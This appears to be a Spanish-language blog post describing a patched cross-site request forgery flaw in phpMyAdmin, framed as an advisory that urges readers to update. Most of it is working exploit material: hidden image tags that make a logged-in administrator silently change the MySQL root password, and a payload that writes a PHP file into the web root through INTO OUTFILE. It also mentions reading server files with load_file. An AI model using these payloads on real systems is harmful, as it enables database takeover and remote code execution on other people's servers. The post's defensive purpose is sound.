phpMyAdmin como sabemos es una herramienta de gestión de bases de datos MySQL/MariaDB en linea, el equipo de phpMyAdmin ya corrigio esta vulnerabilidad CSRF por lo cual es importante que si tienen esta versión en su equipo la actualicen.
Un atacante puede acceder a la pagina mediante la inducción del administrador, ejecutando en silencio cualquier consulta SQL.
El administrador inicia sesion con phpMyAdmin, digamos que el usuario es root y la contraseña es toor.
1.- Explotación de CSRF - Cambiando la contraseña actual del administrador de la base de datos
Sabemos que si quisiéramos modificar algún contenido de la base de datos tendríamos que saber la tabla la columna y la base de datos algo que no siempre sabríamos y limitaría nuestro ataque, es por eso que usaremos este ejemplo que es mas general. La consulta para cambiar la contraseña del usuario es la siguiente:
SET password=PASSWORD('www.arthusu.blogpost.com');
2.- Crear una pagina con código malicioso
<p>Mi primera pagina web</p>
<img src="http://localhost/phpmyadmin/sql.php?db=mysql&table=user&sql_query=SET password=PASSWORD('www.arthusu.blogpost.com')" style="display:none;" />
Al pasarle esto al administrador de phpMyAdmin su contraseña sera actualizada y ahora nosotros podremos acceder desde phpMyAdmin.
3.- Escribir un archivo en el servidor.
MySQL permite escribir los resultados de una consulta en un archivo, por lo cual podemos utilizar la siguiente consulta:
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';
Donde /var/www/html - es una ruta existente en la cual se puede escribir archivos tiene esos permisos
El exploit quedaría algo como lo siguiente:
<p>Mi primera pagina web</p>
<img src="http://localhost/phpmyadmin/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
Y el resultado seria:
La ejecución de nuestro código.
Existen otras consultas que podemos realizar como es la lectura de archivos usando load_file, y lo que se nos ocurra con consultas SQL.
Conclusión
Mantenerte actualizado, y ver que los ataques CSRF pueden llegar a ser peligrosos. También comentar que este ataque solo sirve si un dba tiene sesión iniciada en phpMyAdmin y si es dba.
No hay comentarios:
Publicar un comentario